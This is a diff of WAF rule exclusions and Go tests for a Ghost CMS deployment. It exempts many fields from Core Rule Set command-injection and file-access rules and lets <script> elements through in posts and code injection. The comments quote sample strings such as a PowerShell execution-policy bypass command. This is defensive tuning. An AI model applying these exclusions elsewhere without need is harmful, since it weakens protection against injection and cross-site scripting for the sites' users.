ctl:ruleRemoveTargetById=932230;ARGS:query,\
ctl:ruleRemoveTargetById=932235;ARGS:query,\
ctl:ruleRemoveTargetById=932250;ARGS:query,\
ctl:ruleRemoveTargetById=932260;ARGS:query,\
ctl:ruleRemoveTargetById=932380;ARGS:query"
# The fields a person types plain text into skip eight rules on the Admin API,
# which refused words that name commands and files:
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
# 932120: the page's slug about-python3-powershell-htaccess
# 932125, 932230, 932250: the tag "Linux & ls -la"
# 932235: the title "powershell & python3"
# 932260: the tag python3
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
# These fields hold plain text:
@@ -64,11 +127,12 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
# name, the name a member saves at /members/api/, skips the same seven rules.
# name, the name a member saves at /members/api/, skips the same eight rules.
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
"id:900359,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
@@ -76,10 +140,99 @@ SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
# More fields of plain text skip the same eight rules on the Admin API, which
# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
# "powershell & python3 deal" in them:
# users.<n>.name, slug, bio, location and website, a staff user's profile
# setup.<n>.blogTitle and name, creating the first staff user
# invitation.<n>.name, accepting a staff invitation
# tiers.<n>.name, description and benefits
# offers.<n>.name, code, display_title and display_description
# recommendations.<n>.title, description and excerpt
# integrations.<n>.name and description, and webhooks.<n>.name
# posts.<n>.feature_image_alt and feature_image_caption, and the same fields
# of pages
# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900370,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
# A member's comment, html at /members/api/comments/, skips the same eight
# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
# rules for scripts and HTML still refuse a <script> element, an event handler
# and a javascript: link in it.
SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
"id:900371,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
# labels, which the admin gives the members imported from a CSV file at
# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
# "python3 import" and "powershell & .htaccess".
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
"id:900372,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:labels "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:labels,\
ctl:ruleRemoveTargetById=932120;ARGS:labels,\
ctl:ruleRemoveTargetById=932125;ARGS:labels,\
ctl:ruleRemoveTargetById=932230;ARGS:labels,\
ctl:ruleRemoveTargetById=932235;ARGS:labels,\
ctl:ruleRemoveTargetById=932250;ARGS:labels,\
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
ctl:ruleRemoveTargetById=932380;ARGS:labels"
# In ActivityPub, a note's or a reply's text and the description of its image,
# and an account's name, username and bio, skip the same eight rules. They
# refused "Trying python3 & powershell", the image's description "A terminal
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
# tips". Each field skips them on its own path:
# content and image.altText, posting a note at
# /.ghost/activitypub/v1/actions/note or a reply under
# /.ghost/activitypub/v1/actions/reply/
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
"id:900373,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
"id:900374,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
# A member's email address skips 930120, 932120 and 932260, which refused
# erin.htaccess@example.com, dave.powershell@example.com and
# python3.dev@example.com. These fields hold it:
@@ -132,6 +285,63 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
# The address of a staff invitation skips the same three rules. Each of these
# fields skips them only on its own path:
# invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
# email in the query, checking an invitation at
# /ghost/api/admin/authentication/invitation/
# invitation.<n>.email, accepting it at the same path
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
"id:900375,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
"id:900376,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:email,\
ctl:ruleRemoveTargetById=932120;ARGS:email,\
ctl:ruleRemoveTargetById=932260;ARGS:email"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
"id:900377,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
# They refused the handles @erin.htaccess@example.com and
# @powershell@example.com, and the addresses
# https://example.com/users/erin.htaccess and
# https://example.com/users/powershell. A handle starts with an @, so 932260
# does not refuse @python3.dev@example.com. The domain of the site's handle
# skips the same three rules as an email address, which refused
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
# Each of these fields skips them only on its own path:
# sourceHandle, an account that moves here, added at
# /.ghost/activitypub/v1/aliases
# actorUri, that account's address, when the admin removes it there
# targetHandle, the account this one moves to, at
# /.ghost/activitypub/v1/migration
# domain, saved at /.ghost/activitypub/v1/domain and checked at
# /.ghost/activitypub/v1/domain/validate
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
"id:900379,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
"id:900380,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
"id:900381,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
# The articles skip these rules on the Admin API:
# 930120: ls -la /var/www/html/.htaccess in a code block
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
@@ -153,8 +363,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
# reuse
# newsletters.<n>.footer_content, the footer of a newsletter
# A <script> element (941110) and a javascript: link (941170, 941210) are still
# refused in them.
# A javascript: link (941170, 941210) is still refused in them. A <script>
# element (941110) passes only in posts and pages, by 900366.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900355,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
@@ -178,13 +388,15 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
# the site's settings, which hold the site-wide code injection besides the
# title and the description, skip the rules of plain text above and these:
# title and the description, skip the eight rules that 900353 lists and these:
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
# 941270: <link rel="preconnect" href="https://fonts.example.com">
# 932235, one of the eight, refused the site's title "powershell & python3".
# These fields hold it, and skip the rules anywhere on the Admin API:
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# A <script> element and a javascript: link are still refused in them.
# A javascript: link is still refused in them, and a <script> element passes
# by 900366.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900356,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
@@ -193,6 +405,7 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
@@ -200,6 +413,38 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
# A <script> element skips 941110 in posts, pages and code injection, on the
# Admin API, which refused:
# an HTML card that embeds a widget with its script
# code injection that loads analytics,
# <script defer src="https://analytics.example.com/script.js"></script>
# These fields take a <script> element on purpose:
# posts.<n>.lexical, mobiledoc and html, and the same fields of pages
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# Snippets and a newsletter's footer still refuse it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900366,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
# The canonical URL of a post or a page skips the two rules that url skips:
# 930120: https://example.com/blog/.htaccess/
# 932120: https://example.com/blog/powershell/
# Each of these fields skips them only on its own path:
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
"id:900383,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
"id:900384,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
# Saving a staff user's profile sends the field profile_image, whose name holds
# .profile, a file the list of system files names (930120).
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
@@ -207,6 +452,36 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
# the code injection of posts. A javascript: link is still refused in it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900378,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
# skips the two rules that url skips:
# 930120: https://example.com/tag/.htaccess/
# 932120: https://example.com/tag/powershell/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900382,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
# The passwords, which skip each rule that random passwords set off:
# password, signing in at /ghost/api/admin/session/
# setup.<n>.password, creating the first staff user
+564 -22
View File
@@ -11,7 +11,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const ghostThreshold = 5
// Paths of Ghost's Admin API, Content API and members' API.
@@ -28,6 +28,19 @@ const (
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
ghostMember = "/members/api/member/"
ghostMagicLink = "/members/api/send-magic-link/"
ghostInvites = "/ghost/api/admin/invites/"
ghostInvitation = "/ghost/api/admin/authentication/invitation/"
ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
ghostOffers = "/ghost/api/admin/offers/"
ghostRecommended = "/ghost/api/admin/recommendations/"
ghostTags = "/ghost/api/admin/tags/"
ghostImport = "/ghost/api/admin/members/upload/"
ghostComments = "/members/api/comments/"
ghostNote = "/.ghost/activitypub/v1/actions/note"
ghostAccount = "/.ghost/activitypub/v1/account"
ghostAliases = "/.ghost/activitypub/v1/aliases"
ghostMigration = "/.ghost/activitypub/v1/migration"
ghostDomain = "/.ghost/activitypub/v1/domain"
)
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
@@ -64,7 +77,7 @@ func (f ghostField) with(t *testing.T, value string) string {
)
}
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostTextFields = []ghostField{
@@ -116,8 +129,111 @@ var ghostTextFields = []ghostField{
`{"snippets":[{"name":"VALUE"}]}`,
},
{http.MethodPut, ghostMember, ghostMemberName},
// A staff user's profile, the first staff user, an invitation accepted.
{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
// Tiers, offers, recommendations, integrations and webhooks.
{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
{
http.MethodPut,
ghostTiers,
`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
},
{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
{
http.MethodPost,
ghostOffers,
`{"offers":[{"display_description":"VALUE"}]}`,
},
{
http.MethodPost,
ghostRecommended,
`{"recommendations":[{"title":"VALUE"}]}`,
},
{
http.MethodPost,
ghostRecommended,
`{"recommendations":[{"description":"VALUE"}]}`,
},
{
http.MethodPost,
ghostRecommended,
`{"recommendations":[{"excerpt":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/integrations/",
`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/webhooks/",
`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
},
// A feature image's alt text and caption.
{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
{
http.MethodPut,
ghostPost,
`{"posts":[{"feature_image_caption":` +
`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
},
{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
// A member's comment, written and edited.
ghostNewComment,
{
http.MethodPut,
ghostComments + "6af5426ae56ecb0001938894/",
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
},
// ActivityPub: a note, a reply, the description of their image, and the
// account.
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
{http.MethodPost, ghostNote, ghostNoteImage},
{http.MethodPost, ghostReply, ghostNoteImage},
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
}
// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
//
//nolint:gochecknoglobals // a constant cannot be a struct
var ghostNewComment = ghostField{
http.MethodPost,
ghostComments,
`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
}
// ghostComment is the HTML of an ordinary comment, with a link.
const ghostComment = `Try <strong>python3</strong>, then ` +
